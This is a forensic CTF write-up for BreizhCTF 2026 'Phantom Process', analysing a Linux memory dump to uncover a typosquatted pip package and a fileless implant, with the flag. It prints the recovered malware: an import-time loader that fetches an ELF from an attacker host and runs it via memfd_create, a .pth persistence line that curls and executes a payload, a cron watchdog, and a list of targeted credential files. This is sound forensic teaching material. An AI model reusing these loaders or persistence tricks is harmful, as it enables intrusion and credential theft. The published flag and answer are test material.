Contents

BreizhCTF 2026 - Phantom Process

Phantom Process

  • Difficulty: Medium
  • Category: Forensic
  • Author: Lamarr

Description

The operations server of Breizh Aero Survey (ops-srv01) has been showing suspicious outbound HTTPS connections to an unknown IP for a few days. The IT team captured a memory dump with LiME before isolating the machine.

Your mission:

  • Identify the initial infection vector
  • Find the implant running on the server
  • Extract the flag from the exfiltrated data

Files:

  • debian-6.1.0-44.json — Volatility 3 ISF profile for the Debian 6.1.0-44 kernel
  • evidence.lime — memory dump in LiME format

Solve

Setup — Volatility 3

The .json file is an ISF (Intermediate Symbol File), the profile format used by Volatility 3.

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pipx install -e ".[full]"
pipx ensurepath

# Place the profile in the Volatility 3 Linux symbols directory
cp debian-6.1.0-44.json volatility3/volatility3/framework/symbols/linux/

Step 1 — Initial triage

Run the basic plugins to get an overview:

vol -f evidence.lime linux.pslist.PsList      > pslist.txt
vol -f evidence.lime linux.pstree.PsTree      > pstree.txt
vol -f evidence.lime linux.bash.Bash          > bash.txt
vol -f evidence.lime linux.sockstat.Sockstat  > sockstats.txt
vol -f evidence.lime linux.lsof.Lsof          > lsof.txt
vol -f evidence.lime linux.psaux.PsAux        > psaux.txt
vol -f evidence.lime linux.malware.hidden_modules.Hidden_modules > hidden_mod.txt

Check for suspicious network connections:

grep -i tcp sockstats.txt | grep 443
4026531840      kworker/u8:2    8445    8445    2       0x8899ce050000  AF_INET STREAM  TCP     192.168.10.10   36038   192.168.10.42   443     ESTABLISHED     -
4026531840      kworker/u8:2    8447    8447    2       0x8899c4631b00  AF_INET STREAM  TCP     192.168.10.10   36052   192.168.10.42   443     ESTABLISHED     -

Two kworker/u8:2 processes are maintaining established HTTPS connections to 192.168.10.42:443.

Step 2 — Analyze the suspicious processes

Several red flags across the plugins:

In pslist.txt — impossible PPID:

PID   PPID  COMM
8445  1     kworker/u8:2
8447  1     kworker/u8:2

Real kernel kworker threads are always children of kthreadd (PID 2). Having PPID=1 (systemd) is impossible for a legitimate kernel thread.

In psaux.txt — process name spoofing:

8445  [kworker/u8:2-flush-btrfs]
8447  [kworker/u8:2-flush-btrfs]

The [brackets] style mimics a kernel thread. This is process name spoofing.

In lsof.txt — only sockets, no files:

8445  kworker/u8:2  0  socket:[44340]  SOCK
8445  kworker/u8:2  1  socket:[44341]  SOCK
8445  kworker/u8:2  2  socket:[277398] SOCK

A real kworker has no userspace file descriptors at all.

In hidden_mod.txt — empty: no hidden kernel modules → the implant is entirely in userspace, not a kernel rootkit.

Step 3 — Find the infection vector

grep -i "pip\|install" bash.txt
15314   bash    2026-05-11 20:51:23.000000 UTC  sudo pip install rasterio-tools --break-system-packages

The legitimate rasterio package is simply called rasterio. The package rasterio-tools is a typosquatting supply chain attack.

Step 4 — Recover the malicious package from the pagecache

The pagecache is the RAM area where Linux caches files read from disk. Volatility can recover these files if their content was in RAM at the time of the dump.

mkdir recovered_files
vol -f evidence.lime linux.pagecache.RecoverFs --output-dir recovered_files/
tar -xzvf recovered_files/*.tar.gz -C recovered_files/

Tampered pip.conf:

cat recovered_files/.../etc/pip.conf
[global]
index-url = https://pypi-cdn.survey-tools.eu/simple/
trusted-host = pypi-cdn.survey-tools.eu

pip.conf was modified to point to a fake PyPI mirror controlled by the attacker.

Tampered /etc/hosts:

192.168.10.42  pypi-cdn.survey-tools.eu  telemetry.bas-infra.fr

Both attacker domains resolve to the same C2 IP.

Step 5 — Analyze the malicious code

rasterio_tools/__init__.py — the trigger:

def _init_native():
    import os
    if os.path.exists("/tmp/.dbus-broker.lock"): return   # already infected → skip
    try:
        from ._native_check import verify_bindings
        pid = os.fork()
        if pid == 0:
            verify_bindings()      # child downloads and executes the implant
            os._exit(0)
        open("/tmp/.dbus-broker.lock", "w").close()       # infection marker
    except: pass

_init_native()   # runs automatically at import time

As soon as mavproxy imports rasterio_tools, this runs. It forks a child and creates a lock file so it only executes once. The parent Python process eventually dies → the child is adopted by PID 1 (systemd) → explains the PPID=1.

rasterio_tools/_native_check.py — the actual malware:

def _load(data):
    fd = os.memfd_create("native_ext", os.MFD_CLOEXEC)     # anonymous fd in RAM
    os.write(fd, data)                                     # write ELF binary to it
    os.execve("/proc/self/fd/%d" % fd,
        ["/usr/lib/python3/dist-packages/rasterio_tools/" + " " * 64 + "_native_accel.so"],
        os.environ.copy())

def verify_bindings():
    data = _fetch("https://pypi-cdn.survey-tools.eu/packages/rasterio-tools/native_ext.so")
    _load(data)   # fileless execution

The memfd_create + execve(/proc/self/fd/N) technique:

  • memfd_create creates an anonymous file descriptor in RAM (no file on disk)
  • The ELF binary is written to it
  • execve replaces the current process with that binary
  • MFD_CLOEXEC closes the fd after exec → the mapping appears as /memfd:native_ext (deleted) in /proc

Step 6 — Analyze the implant binary

Map the memory of PID 8445:

vol -f evidence.lime linux.proc.Maps --pid 8445 > maps-8445.txt
8445  kworker/u8:2  0x55d19b521000-0x55d19b522000  r-x  /memfd:native_ext (deleted)  ← .text
8445  kworker/u8:2  0x55d19b522000-0x55d19b523000  r--  /memfd:native_ext (deleted)  ← .rodata
...
8445  kworker/u8:2  ...  /usr/lib/.../libcurl.so.4.8.0
8445  kworker/u8:2  ...  /usr/lib/.../libssl.so.3
8445  kworker/u8:2  ...  /usr/lib/.../libkrb5.so.3.3
8445  kworker/u8:2  ...  /usr/lib/.../libldap-2.5.so

The loaded libraries reveal the binary’s capabilities: libcurl (HTTP/S requests), libssl (TLS), libkrb5 (Kerberos lateral movement), libldap (AD reconnaissance).

Dump the segments and extract strings from the .rodata:

mkdir dump-8445
vol -f evidence.lime -o dump-8445 linux.proc.Maps --pid 8445 --dump

strings dump-8445/pid.8445.vma.0x55d19b522000-0x55d19b523000.dmp
[kworker/u8:2-flush-btrfs]       ← process name set via prctl PR_SET_NAME

# Targeted files for exfiltration:
/etc/machine-id
%s/.ssh/id_ed25519
/opt/mavproxy/signing_key.bin
%s/.pgpass
%s/.kube/config

# C2:
https://%s%s
/api/v1/telemetry/report
/api/v1/update

# Persistence:
%s/distutils-precedence.pth
@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1

Step 7 — Exfiltrated data in memory

Look at the heap segments of the PID 8445 dump:

strings dump-8445/pid.8445.vma.0x55d1af123000-0x55d1af1c6000.dmp

The ed25519 SSH private key of jeremied@ops-srv01 is found in plaintext, along with the HTTP heartbeat being sent to the C2:

POST /api/v1/telemetry/report HTTP/1.1
Host: telemetry.bas-infra.fr
User-Agent: ubuntu-report/1.4.1

{"Version":"22.04","Arch":"amd64","hw_metrics":"heartbeat",...}

Step 8 — Persistence

distutils-precedence.pth found in pagecache:

import os; os.system(
    'test -f /tmp/.dbus-broker.lock || '
    '(curl -sk https://telemetry.bas-infra.fr/api/v1/update -o /tmp/.dbus-notify '
    '&& python3 /tmp/.dbus-notify &) 2>/dev/null'
    if not os.path.exists('/run/user/' + str(os.getuid()) + '/dbus-session')
    else None
)

.pth files in dist-packages are automatically executed every time Python starts. Each restart of gunicorn/mavproxy → this runs → re-downloads the implant if it’s no longer active.

A cron watchdog is also installed by the binary:

@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1

Double persistence: even if the .pth is removed, the cron relaunches the implant on boot.

Step 9 — Flag

/opt/mavproxy/signing_key.bin is the file targeted by the implant, but it shows up empty in the pagecache (its data pages weren’t in RAM at dump time).

Search in the raw dump instead:

strings evidence.lime | grep -i "signing_key\|BZHCTF"
_CMDLINE=su -c "python3 -c \"import sys;sys.stdout.buffer.write(bytes.fromhex(
\\\"425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d\\\"))\"
> /tmp/sk.bin && mv /tmp/sk.bin /opt/mavproxy/signing_key.bin ..." root

The command that created the file was still in memory in a systemd process environment. It contains the file’s exact content as hex.

python3 -c "print(bytes.fromhex(
    '425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d'
).decode())"
BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}

Flag : BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}